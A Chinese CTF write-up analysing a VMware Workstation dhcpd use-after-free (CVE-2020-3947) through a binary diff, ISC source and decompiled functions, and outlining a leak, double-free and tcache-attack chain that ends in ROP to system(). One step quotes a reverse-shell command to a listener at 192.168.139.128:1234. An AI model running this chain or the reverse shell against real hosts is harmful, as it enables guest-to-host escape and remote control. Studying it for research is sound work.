D^3CTF VMWare Esacpe RealVM题解

D^3CTF VMWare Esacpe RealVM题解

前言

距离上次做出VMWare逃逸的题目已经过去一年了,前几天D^3CTF里蚂蚁光年实验室请Ezrak1e师傅出了道RealWorld的Vmware逃逸题,该题目改编自CVE-2020-3947,为了方便利用出题人多加了个信息泄露的洞(实际上这也是真实存在的漏洞,被官方修复了),比赛的时候做出来phppwn和kernel之后就没什么时间再开这道题了,赛后官方放了wp,跟着Ez师傅的wp学习一下这道题目的解法。

背景知识-dhcp协议

dhcp协议是动态获取IP地址的应用层协议,默认不设置静态IP的话都会走dhcp协议动态获取IP,协议有不同类型的消息,详情可以参考这篇文章DHCP协议 详解,这里简单介绍一下协议交互的一般流程:

  1. 新的client加入网络时,会使用0.0.0.0作为源地址,发送discover广播报文,查询网络上有哪些DHCP server,以及这些DHCP server 能Offer哪些IP地址
  2. DHCP服务器接收到DHCP Discover报文后,回应Offer报文,提供IP地址(可能包含DNS等其他信息)给client
  3. client 根据收到的Offer报文,选择一个DHCP server,并选择它提供的IP地址。然后广播Request报文,想DHCP Server请求该IP地址,同时想本地网络(尤其是其他DHCP Server)公告自己已经选择了某个DHCP Server的某个IP地址。
  4. DHCP Server 回应ACK报文,将IP地址分配给Client端 (特殊情况:DHCP Server在发送Offer报文和接收到Request的短暂时间内把IP分配给了其他主机)
  5. DHCP Client 收到ACK报文后,会针对获得的IP地址发送ARP Request,进行IP地址冲突检测。
  6. 如果IP地址已经被其他主机使用,则Client放弃该IP地址,想Server发送DHCP DECLINE报文告诉Server该地址不能使用。然后一段时间后(一般10s)再此尝试获取该IP地址
  7. 如果Client仍然无法使用该IP地址,则发送DHCP RELEASE报文,放弃该地址。

协议报文结构如下,其中Option指定了消息类型

dhcp的地址管理是通过租约来实现的,当dhcp client请求IP时dhcp server分配一个IP并伴随一个租约结构,该结构标识了IP的有效期,一旦超过这个有效期server就要回收IP,除非客户端在租约内更新租期。

漏洞分析

diff分析

题目给了一个patch的dhcpd,其用于替换/usr/bin/vmnet-dhcpd,我们在ubuntu 18.04安装给的.bundle文件,之后拷贝出安装后的dhcpd同漏洞文件做二进制比较,分析之后一共有三处不同。

第一处在0x1bda6,patch了r14和r15寄存器值不相等的检查

patch之后的代码

patch之前的代码

patch之前的代码的检查

第二处diff在0x1c3c2,同样是patch掉了对于r14和r15寄存器值相等的检查,即使二者相等也可以直接进入到后面lable7的free流程。

patch之后的代码

patch之前的代码

patch之前的代码的检查

第三处diff在0x247bf,这里比较清晰,nop掉了两个变量初始化为0的部分。

patch之后的代码

patch之前的代码

patch之前的变量初始化

综上所述,整个diff分成两部分,第一部分patch掉了对于*(a1+88)==*(a2+88)的安全检查,即使二者相等也可以顺利执行dhcp请求。第二部分变量未初始化用于泄露敏感信息。

dhcp源码分析

仅仅有上述的diff信息还不足以进行漏洞利用,我们搜索一下VMWare dhcp CVE可以找到CVE-2020-3947的分析,根据绿盟的一篇文章CVE-2020-3947 : VMWARE WORKSTATION DHCP组件UAF 漏洞分析,我们可以下载isc的开源代码进行分析,这一点从Binary执行之后的字符串也可以看到。

1
2
3
4
5
6
Internet Software Consortium DHCP Server 2.0
Copyright 1995, 1996, 1997, 1998, 1999 The Internet Software Consortium.
All rights reserved.

Please contribute if you find this software useful.
For info, please visit http://www.isc.org/dhcp-contrib.html

isc file ftp下载源码,因为没有这里的2.0版本,因此我们选个最新版本4.4.2分析(vmnet-dhcpd改的isc代码),根据zero-day的描述CVE-2020-3947: USE-AFTER-FREE VULNERABILITY IN THE VMWARE WORKSTATION DHCP COMPONENT配合源码的结构体可以大致了解租约结构(下方的源码中增加了更多字段),该结构中保存了uid/mac地址等信息。

这里的supersede_lease即为漏洞函数,其功能为从旧租约lease向新租约comp拷贝成员,漏洞出现在对于comp->uid和lease->uid的检查缺失上,在拷贝完毕后假如新租约的uid不为零,则调用free释放了新租约的comp->uid。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342

//includes/dhcpd.h

/* A dhcp lease declaration structure. */
struct lease {
OMAPI_OBJECT_PREAMBLE;
struct lease *next;
#if defined (BINARY_LEASES)
struct lease *prev;
struct leasechain *lc;
#endif
struct lease *n_uid, *n_hw;

struct iaddr ip_addr;
TIME starts, ends, sort_time;
#if defined (BINARY_LEASES)
long int sort_tiebreaker;
#endif
char *client_hostname;
struct binding_scope *scope;
struct host_decl *host;
struct subnet *subnet;
struct pool *pool;
struct class *billing_class;
struct option_chain_head *agent_options;

/* insert the structure directly */
struct on_star on_star;

unsigned char *uid;
unsigned short uid_len;
unsigned short uid_max;
unsigned char uid_buf [7];
struct hardware hardware_addr;

u_int8_t flags;
# define STATIC_LEASE 1
# define BOOTP_LEASE 2
# define RESERVED_LEASE 4
# define MS_NULL_TERMINATION 8
# define ON_UPDATE_QUEUE 16
# define ON_ACK_QUEUE 32
# define ON_QUEUE (ON_UPDATE_QUEUE | ON_ACK_QUEUE)
# define UNICAST_BROADCAST_HACK 64
# define ON_DEFERRED_QUEUE 128

/* Persistent flags are to be preserved on a given lease structure. */
# define PERSISTENT_FLAGS (ON_ACK_QUEUE | ON_UPDATE_QUEUE)
/* Ephemeral flags are to be preserved on a given lease (copied etc). */
# define EPHEMERAL_FLAGS (MS_NULL_TERMINATION | \
UNICAST_BROADCAST_HACK | \
RESERVED_LEASE | \
BOOTP_LEASE)

/*
* The lease's binding state is its current state. The next binding
* state is the next state this lease will move into by expiration,
* or timers in general. The desired binding state is used on lease
* updates; the caller is attempting to move the lease to the desired
* binding state (and this may either succeed or fail, so the binding
* state must be preserved).
*
* The 'rewind' binding state is used in failover processing. It
* is used for an optimization when out of communications; it allows
* the server to "rewind" a lease to the previous state acknowledged
* by the peer, and progress forward from that point.
*/
binding_state_t binding_state;
binding_state_t next_binding_state;
binding_state_t desired_binding_state;
binding_state_t rewind_binding_state;

struct lease_state *state;

/*
* 'tsfp' is more of an 'effective' tsfp. It may be calculated from
* stos+mclt for example if it's an expired lease and the server is
* in partner-down state. 'atsfp' is zeroed whenever a lease is
* updated - and only set when the peer acknowledges it. This
* ensures every state change is transmitted.
*/
TIME tstp; /* Time sent to partner. */
TIME tsfp; /* Time sent from partner. */
TIME atsfp; /* Actual time sent from partner. */
TIME cltt; /* Client last transaction time. */
u_int32_t last_xid; /* XID we sent in this lease's BNDUPD */
struct lease *next_pending;

/*
* A pointer to the state of the ddns update for this lease.
* It should be set while the update is in progress and cleared
* when the update finishes. It can be used to cancel the
* update if we want to do a different update.
*/
struct dhcp_ddns_cb *ddns_cb;

/* Set when a lease has been disqualified for cache-threshold reuse */
unsigned short cannot_reuse;
};

//server/mdb.c

/* Replace the data in an existing lease with the data in a new lease;
adjust hash tables to suit, and insertion sort the lease into the
list of leases by expiry time so that we can always find the oldest
lease. */

int supersede_lease (comp, lease, commit, propogate, pimmediate, from_pool)
struct lease *comp, *lease;
int commit;
int propogate;
int pimmediate;
int from_pool;
{
LEASE_STRUCT_PTR lq;
struct timeval tv;
#if defined (FAILOVER_PROTOCOL)
int do_pool_check = 0;

/* We must commit leases before sending updates regarding them
to failover peers. It is, therefore, an error to set pimmediate
and not commit. */
if (pimmediate && !commit)
return 0;
#endif
/* If there is no sample lease, just do the move. */
if (!lease)
goto just_move_it;

/* Static leases are not currently kept in the database... */
if (lease -> flags & STATIC_LEASE)
return 1;

/* If the existing lease hasn't expired and has a different
unique identifier or, if it doesn't have a unique
identifier, a different hardware address, then the two
leases are in conflict. If the existing lease has a uid
and the new one doesn't, but they both have the same
hardware address, and dynamic bootp is allowed on this
lease, then we allow that, in case a dynamic BOOTP lease is
requested *after* a DHCP lease has been assigned. */

if (lease -> binding_state != FTS_ABANDONED &&
lease -> next_binding_state != FTS_ABANDONED &&
comp -> binding_state == FTS_ACTIVE &&
(((comp -> uid && lease -> uid) &&
(comp -> uid_len != lease -> uid_len ||
memcmp (comp -> uid, lease -> uid, comp -> uid_len))) ||
(!comp -> uid &&
((comp -> hardware_addr.hlen !=
lease -> hardware_addr.hlen) ||
memcmp (comp -> hardware_addr.hbuf,
lease -> hardware_addr.hbuf,
comp -> hardware_addr.hlen))))) {
log_error ("Lease conflict at %s",
piaddr (comp -> ip_addr));
}

/* If there's a Unique ID, dissociate it from the hash
table and free it if necessary. */
if (comp->uid) {
uid_hash_delete(comp);
if (comp->uid != comp->uid_buf) {
dfree(comp->uid, MDL);//这里
comp->uid_max = 0;
comp->uid_len = 0;
}
comp -> uid = (unsigned char *)0;
}

/* If there's a hardware address, remove the lease from its
* old position in the hash bucket's ordered list.
*/
if (comp->hardware_addr.hlen)
hw_hash_delete(comp);

//...

/* Copy the data files, but not the linkages. */
comp -> starts = lease -> starts;
if (lease -> uid) {
if (lease -> uid_len <= sizeof (lease -> uid_buf)) {
memcpy (comp -> uid_buf,
lease -> uid, lease -> uid_len);
comp -> uid = &comp -> uid_buf [0];
comp -> uid_max = sizeof comp -> uid_buf;
comp -> uid_len = lease -> uid_len;
} else if (lease -> uid != &lease -> uid_buf [0]) {
comp -> uid = lease -> uid;
comp -> uid_max = lease -> uid_max;
lease -> uid = (unsigned char *)0;
lease -> uid_max = 0;
comp -> uid_len = lease -> uid_len;
lease -> uid_len = 0;
} else {
log_fatal ("corrupt lease uid."); /* XXX */
}
} else {
comp -> uid = (unsigned char *)0;
comp -> uid_len = comp -> uid_max = 0;
}
if (comp -> host)
host_dereference (&comp -> host, MDL);
host_reference (&comp -> host, lease -> host, MDL);
comp -> hardware_addr = lease -> hardware_addr;
if (comp -> scope)
binding_scope_dereference (&comp -> scope, MDL);
if (lease -> scope) {
binding_scope_reference (&comp -> scope, lease -> scope, MDL);
binding_scope_dereference (&lease -> scope, MDL);
}

if (comp -> agent_options)
option_chain_head_dereference (&comp -> agent_options, MDL);
if (lease -> agent_options) {
/* Only retain the agent options if the lease is still
affirmatively associated with a client. */
if (lease -> next_binding_state == FTS_ACTIVE ||
lease -> next_binding_state == FTS_EXPIRED)
option_chain_head_reference (&comp -> agent_options,
lease -> agent_options,
MDL);
option_chain_head_dereference (&lease -> agent_options, MDL);
}

/* Record the hostname information in the lease. */
if (comp -> client_hostname)
dfree (comp -> client_hostname, MDL);
comp -> client_hostname = lease -> client_hostname;
lease -> client_hostname = (char *)0;

if (lease->on_star.on_expiry) {
if (comp->on_star.on_expiry)
executable_statement_dereference
(&comp->on_star.on_expiry, MDL);
executable_statement_reference (&comp->on_star.on_expiry,
lease->on_star.on_expiry,
MDL);
}
if (lease->on_star.on_commit) {
if (comp->on_star.on_commit)
executable_statement_dereference
(&comp->on_star.on_commit, MDL);
executable_statement_reference (&comp->on_star.on_commit,
lease->on_star.on_commit,
MDL);
}
if (lease->on_star.on_release) {
if (comp->on_star.on_release)
executable_statement_dereference
(&comp->on_star.on_release, MDL);
executable_statement_reference (&comp->on_star.on_release,
lease->on_star.on_release,
MDL);
}

/* Record the lease in the uid hash if necessary. */
if (comp->uid)
uid_hash_add(comp);

/* Record it in the hardware address hash if necessary. */
if (comp->hardware_addr.hlen)
hw_hash_add(comp);

comp->cltt = lease->cltt;
#if defined (FAILOVER_PROTOCOL)
comp->tstp = lease->tstp;
comp->tsfp = lease->tsfp;
comp->atsfp = lease->atsfp;
#endif /* FAILOVER_PROTOCOL */
comp->ends = lease->ends;
comp->next_binding_state = lease->next_binding_state;

//....

/* Figure out which queue it's on. */
switch (comp -> binding_state) {
case FTS_FREE:
if (comp->flags & RESERVED_LEASE)
lq = &comp->pool->reserved;
else {
lq = &comp->pool->free;
comp->pool->free_leases--;
}




/* Remove the lease from its current place in its current
timer sequence. */
LEASE_REMOVEP(lq, comp);

/* Now that we've done the flag-affected queue removal
* we can update the new lease's flags, if there's an
* existing lease */
if (lease) {
comp->flags = ((lease->flags & ~PERSISTENT_FLAGS) |
(comp->flags & ~EPHEMERAL_FLAGS));
}

/* Make the state transition. */
if (commit || !pimmediate)
make_binding_state_transition (comp);

/* Put the lease back on the appropriate queue. If the lease
is corrupt (as detected by lease_enqueue), don't go any farther. */
if (!lease_enqueue (comp))
return 0;

//...


if (commit) {
#if defined(FAILOVER_PROTOCOL)
/*
* If commit and propogate are set, then we can save a
* possible fsync later in BNDUPD socket transmission by
* stepping the rewind state forward to the new state, in
* case it has changed. This is only worth doing if the
* failover connection is currently connected, as in this
* case it is likely we will be transmitting to the peer very
* shortly.
*/
if (propogate && (comp->pool->failover_peer != NULL) &&
((comp->pool->failover_peer->service_state ==
cooperating) ||
(comp->pool->failover_peer->service_state ==
not_responding)))
comp->rewind_binding_state = comp->binding_state;
#endif

if (!write_lease (comp))
return 0;
if ((server_starting & SS_NOSYNC) == 0) {
if (!commit_leases ())
return 0;
}
}

//...

}

这里的问题在于虽然释放了comp->pid并将其置零,但是没有考虑到lease->uid==comp->uid的情况,当连续发送DHCPDISCOVERDHCPRELEASE消息时,二者的uid相同(如下图所示),在后续调用write_lease的过程中则会对已经释放过的uid进行读操作fprintf(qword_30ECC8[0], "\n\tuid %2.2x", **(_BYTE **)(comp + 0x58));// 这里,这里存在UAF.

我们在IDA查看交叉引用可以找到调用supersede_lease的上层函数,这里的expire_release(0x1ceb0)函数即是调用对于DHCPRELEASE消息的处理。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
__int64 __fastcall expire_release(const void *a1, __int64 a2, __int64 a3, __int64 a4, unsigned __int64 a5, __int64 a6)
{
__int64 v7; // [sp+0h] [bp-E8h]@1
__int64 v8; // [sp+48h] [bp-A0h]@1
__int64 v9; // [sp+D8h] [bp-10h]@1

v9 = *MK_FP(__FS__, 40LL);
qmemcpy(&v7, a1, 0xD0uLL);
if ( v8 > timer )
{
v8 = timer;
supersede_lease((__int64)a1, (__int64)&v7, 1, 0LL, a5, a6);
}
return *MK_FP(__FS__, 40LL) ^ v9;
}

再看下其他几个引用,追一下调用(配合特殊字符串)可以找到dhcp_message_parse(0x20f80)->dhcp_discover(0x20990)->alloc_lease_and_send(0x1ec70)函数,配合message type可以找到对于DHCPDISCOVERDHCPREQUEST数据包的处理。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
int __usercall dhcp_message_parse@<eax>(__int64 a1@<rdi>, size_t a2@<r13>, __int64 a3@<r14>, __int64 a4@<r15>, __int64 a5@<rsi>)
{
int result; // eax@1
void *__ptr32 *v6; // rdx@1

result = sub_275B0(a1);
if ( result )
{
result = *(_DWORD *)(a1 + 12); // message type
v6 = off_95860;
switch ( result )
{
default:
return result;
case 3:
goto LABEL_5;
case 8:
result = sub_1FDA0(a1, a5);
break;
case 7:
result = sub_1DF10(a1, a5);
break;
case 4:
result = sub_1E0C0(a1, a5);
break;
case 1:
result = dhcp_discover(a1, a2, a3, a4);
break;
}
}
else if ( *(_DWORD *)(a1 + 0xC) == 3 ) // request请求
{
LABEL_5:
result = call_alloc_renew((int)v6, a1, a5, a4);
}
return result;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
DHCP 消息类型	对应的Option值
DHCPDISCOVER 1
DHCPOFFER 2
DHCPREQUEST 3
DHCPDECLINE 4
DHCPACK 5
DHCPNAK 6
DHCPRELEASE 7
DHCPINFORM 8
DHCPFORCERENEW 9
DHCPLEASEQUERY 10
DHCPLEASEUNASSIGNED 11
DHCPLEASEUNKNOWN 12
DHCPLEASEACTIVE 13

漏洞利用

根据Zdi的分析我们发现write_lease中只是UAF的读操作,并不会产生实质性的危害,根据Ez师傅的wp可以看到还有另一个UAF的利用途径,dhcpd中使用哈希表保存租约,释放uid的租约被保存其中,当我们取出来这个租约再进行拷贝时就可能存在double free,我们利用double free,找到可控的malloc即可进行tcache attack。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
int __fastcall add_to_hashtable(__int64 a1)
{
__int64 v1; // rax@1

LODWORD(v1) = find_lease_by_table3(a1 + 178, *(_BYTE *)(a1 + 177));
if ( v1 )
{
while ( *(_QWORD *)(v1 + 24) )
v1 = *(_QWORD *)(v1 + 24);
*(_QWORD *)(v1 + 0x18) = a1; // lease pointer
}
else
{
LODWORD(v1) = sub_21070(hashtable3, a1 + 178, *(_BYTE *)(a1 + 177), a1);
}
return v1;
}

这里需要对每种报文的堆块分配释放,下面只介绍exp用到的报文的堆分配释放情况:

  1. DHCPREQUEST:在call_alloc_renew(0x20c20)->find_hash_idx(0x20010)->alloc_lease_and_send->malloc->supersede_lease->free,首先查找哈希表寻找租约索引,之后在alloc_lease_and_send函数中分配新的租约,分配uid,调用supersede_lease拷贝旧租约的关键信息并释放旧租约的uid指针,即先malloc后free
  2. DHCPRELEASE:释放uid,仅free
  3. DHCPINFORM:dhcp_inform->alloc_lease_and_send->malloc,INFORM报文仅查询数据不会更新数据,因此不会调用supersede_lease进行数据拷贝和租约更新,仅malloc
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
__int64 __usercall dhcp_inform@<rax>(__int64 a1@<rdi>, __int64 a2@<r15>)
{
__int64 v2; // rbx@1
__int64 v3; // rax@1
size_t v4; // r13@1
char *v5; // rbp@2
char *v6; // r14@3
char *v7; // rsi@3
int v8; // edx@3
int v9; // ecx@3
int v10; // er8@3
int v11; // er9@3
__int64 v12; // rdi@3
__int64 v13; // rax@4
__int64 v14; // rax@5
__int64 v16; // [sp+28h] [bp-120h]@0
int v17; // [sp+30h] [bp-118h]@0
char v18; // [sp+40h] [bp-108h]@1
int v19; // [sp+68h] [bp-E0h]@5
int v20; // [sp+6Ch] [bp-DCh]@5
__int64 v21; // [sp+E0h] [bp-68h]@5
__int64 v22; // [sp+E8h] [bp-60h]@5
int v23; // [sp+104h] [bp-44h]@5
__int64 v24; // [sp+118h] [bp-30h]@1

v2 = a1;
v24 = *MK_FP(__FS__, 40LL);
memset(&v18, 0, 0xD0uLL);
v3 = *(_QWORD *)a1;
v4 = *(_DWORD *)(*(_QWORD *)a1 + 12LL);
if ( *(_DWORD *)(*(_QWORD *)a1 + 24LL) )
{
v5 = inet_ntoa(*(struct in_addr *)(v3 + 24));
v3 = *(_QWORD *)a1;
}
else
{
v5 = (char *)(*(_QWORD *)(a1 + 48) + 40LL);
}
v6 = sub_2A6D0(*(_BYTE *)(v3 + 1), *(_BYTE *)(v3 + 2), (_BYTE *)(v3 + 28));
v7 = sub_27EA0(4);
sub_2A110((signed __int64)"DHCPINFORM for %s from %s via %s", v7, v6, v5);
v12 = *(_QWORD *)(a1 + 64);
if ( v12 )
{
v13 = sub_1B5E0(v12, (int)v7, v8, v9, v10, v11, 4, v16, v17);
if ( v13 )
{
v21 = v13;
v14 = *(_QWORD *)(v2 + 64);
v19 = 4;
v20 = v4;
v22 = v14;
v23 |= 0x21u;
alloc_lease_and_send(5u, 0LL, v2, v2, (__int64 (__fastcall *)())&v18, v4, (__int64)v6, a2);
}
}
return *MK_FP(__FS__, 40LL) ^ v24;
}

分析到现在发现我们忘记了信息泄露的洞,在patch的函数跟进处理我们未初始化变量的部分,发现这里是dhcp前的ping数据包发送部分,我们的数据可以通过icmp数据包泄露出来,泄露的长度为0x20,涵盖了我们未初始化的两个变量。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
__int64 __fastcall ping_before_offer(__int64 a1)
{
in_addr_t v1; // eax@2
unsigned __int16 v2; // ax@2
__int64 v3; // rax@2
int v4; // ecx@2
__int64 v5; // rsi@2
int v6; // edx@8
__int64 result; // rax@8
__int64 v8; // [sp+20h] [bp-60h]@2
__int64 v9; // [sp+28h] [bp-58h]@2
__int16 v10; // [sp+40h] [bp-40h]@2
__int16 v11; // [sp+42h] [bp-3Eh]@2
struct in_addr in; // [sp+44h] [bp-3Ch]@2
__int64 v13; // [sp+48h] [bp-38h]@2
char v14; // [sp+50h] [bp-30h]@2
char v15; // [sp+51h] [bp-2Fh]@2
__int64 v16; // [sp+52h] [bp-2Eh]@5
__int64 v17; // [sp+68h] [bp-18h]@1

v17 = *MK_FP(__FS__, 40LL);
if ( !dword_2F2820 )
error((unsigned __int64)"attempt to use ICMP protocol before initialization.");
v10 = 2;
v1 = *(_DWORD *)(a1 + 4);
v11 = 0;
v8 = 0LL;
v13 = 0LL;
in.s_addr = v1;
v9 = 0LL;
LOBYTE(v8) = 8;
*(__int64 *)((char *)&v8 + 4) = (unsigned __int16)(a1 ^ WORD2(a1));
v2 = sub_249B0((__int64)&v8, 28, 0);
WORD1(v8) = sub_24A10(v2);
v3 = sub_1B360(28, *(_QWORD *)a1, *(_QWORD *)(a1 + 8), *(_DWORD *)(a1 + 16));
v4 = *(_DWORD *)a1;
v5 = a1 + 4;
v14 = 1;
v15 = v4;
if ( (unsigned __int8)v4 >= 8u )
{
v16 = *(_QWORD *)(a1 + 4);
*(__int64 *)((char *)&v16 + (unsigned __int8)v4 - 8) = *(_QWORD *)(v5 + (unsigned __int8)v4 - 8);
qmemcpy(
(char *)&v16 + 6,
(const void *)(v5 - ((char *)&v16 - ((char *)&v16 + 6))),
8LL * (((unsigned int)&v16 - (unsigned int)((char *)&v16 + 6) + (unsigned __int8)v4) >> 3));
}
else if ( v4 & 4 )
{
LODWORD(v16) = *(_DWORD *)(a1 + 4);
*(_DWORD *)((char *)&v16 + (unsigned __int8)v4 - 4) = *(_DWORD *)(v5 + (unsigned __int8)v4 - 4);
}
else if ( (_BYTE)v4 )
{
LOBYTE(v16) = *(_BYTE *)(a1 + 4);
if ( v4 & 2 )
*(_WORD *)((char *)&v16 + (unsigned __int8)v4 - 2) = *(_WORD *)(v5 + (unsigned __int8)v4 - 2);
}
v6 = send_packet_ping(
*(_QWORD *)(v3 + 24),
&v8,
0x20uLL,
*(_DWORD *)(*(_QWORD *)(v3 + 24) + 36LL),
(__int64)&v10,
(__int64)&v14);//这里
result = v6 == 32;
if ( v6 < 0 )
{
inet_ntoa(in);
warn((unsigned __int64)"icmp_echorequest %s: %m");
result = 0LL;
}
return result;
}
//
signed __int64 __fastcall send_packet_ping(__int64 a1, const void *a2, size_t a3, int a4, __int64 a5, __int64 a6)
{
int v6; // er15@1
size_t v7; // r13@1
__int64 v8; // rbx@1
unsigned __int16 v9; // ax@1
int v10; // eax@1
unsigned __int16 v11; // ax@1
__int64 v12; // rax@1
int v13; // ebx@1
int v14; // edi@2
int v15; // ebx@2
signed __int64 result; // rax@4
int v17; // [sp+Ch] [bp-64Ch]@1
__int64 v18; // [sp+10h] [bp-648h]@1
__int64 v19; // [sp+18h] [bp-640h]@1
int v20; // [sp+20h] [bp-638h]@1
__int64 buf; // [sp+30h] [bp-628h]@1
__int64 v22; // [sp+38h] [bp-620h]@1
int v23; // [sp+40h] [bp-618h]@1
__int64 v24; // [sp+618h] [bp-40h]@1

v6 = a4;
v7 = a3;
v8 = a5;
v17 = 0;
v24 = *MK_FP(__FS__, 40LL);
sub_24A20(a1, &buf, &v17, a6);
v9 = __ROR2__(v7 + 20, 8);
*(_DWORD *)((char *)&v18 + 2) = v9;
v10 = *(_DWORD *)(v8 + 4);
WORD3(v18) = 0;
LOWORD(v18) = 4165;
LODWORD(v19) = 272;
HIDWORD(v19) = v6;
v20 = v10;
v11 = sub_249B0((__int64)&v18, 20, 0);
WORD1(v19) = sub_24A10(v11);
v12 = v17;
LODWORD(v8) = v17;
*(__int64 *)((char *)&buf + v12) = v18;
v13 = v8 + 20;
v17 = v13;
*(__int64 *)((char *)&v22 + v12) = v19;
*(int *)((char *)&v23 + v12) = v20;
if ( v7 + v13 > 0x5DC )
{
warn((unsigned __int64)"send_packet_ping: packet too large (%s)");
result = -1LL;
}
else
{
memcpy((char *)&buf + v13, a2, v7);
v14 = *(_DWORD *)(a1 + 60);
v17 = v13 + v7;
v15 = write(v14, &buf, v13 + (signed int)v7);
if ( v15 < 0 )
warn((unsigned __int64)"send_packet_ping: %m");
result = v15;
}
return result;
}

这里比较神奇,第一次调试的时候发现这里的两个变量值分别为0和一个libc中的值,因此我将sz改成了0x168用以泄露出出题人布置的stack_addr和proc_addr,后来调exp的时候又发现这里的值变回了stack_addr和proc_addr,猜想是自己测试的时候使用的是dhclient命令,函数进去的时候其处理的可能并不是我们的REQUEST包。

那么最终的利用思路就出来了,

  1. 我们首先根据icmp包泄露出栈地址和程序基址
  2. 发送三个request数据包占位得到lease和uid结构(0x30的堆块)
  3. 发送多个Inform包清空0x30对应的free chunks
  4. 发送三个release数据包得到2个被释放的uid结构
  5. 发送3个request数据包,首先malloc uid得到这里的0xxx5b0,之后拷贝再释放旧的lease 0xxx470,double free

    再malloc即可进行uaf写(配合memcpy)


  6. 发送多个inform数据包进行malloc并写stack_addr,断到程序退出处0x1ECDC可以看到最终执行了rop去调用system("gflag")

  7. 这里为了验证将gflag写为bash -i >& /dev/tcp/192.168.139.128/1234 0>&1的反弹shell命令,虚拟机内部起1234端口监听

一些问题

  1. 如何调试?
    由于是协议相关的洞,这里在host里安装wireshark进行抓包,过滤条件可以是bootp(dhcp属于bootp的扩展)/icmp/ip.src/ip.addr等,如下图是抓的icmp包泄露信息(之前patch了data_sz为0x168),抓之前使用sudo ifconfig vmnet8 promisc将host的vmnet8设置为混杂模式(这样可以抓取网卡上所有的流量,vmnet8默认是vmware guest nat的网卡)

  1. 如何编写exp?
    首先得了解协议数据包的格式,我们发送raw packet的时候需要自己组装数据包,从ether+ip+udp+dhcp都需要自己写,写的过程中可以拿wireshark进行调试,原本我是打算自己写一遍,但是调试过程中发现Ez师傅构造的数据没什么问题(除了分配的heap没有释放2333),中间修改了一些字段,比如mac地址,dhcp server地址等。

有了协议之后就可以发包进行漏洞利用了,这里可以拿dhclient -r ens33 && dhclient ens33强制renew dhcp抓包之后看流量,照抄下来字段即可,之后发送request+release观察堆块变化,有无uaf触发成功,之后再构造inform获取fake chunk写

  1. 复现的环境?
    这里的exp是tcache attack,最新的Ubuntu 18.04更新了glibc,引入了新的防范机制,我这里复现的时候拿快照还原到了去年的状态因此不需要修改exp,否则需要想办法绕过tcache的机制

exp.c

exp基本是照搬Ez师傅的,中间改了一些关键字段,多加了点注释方便自己看。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
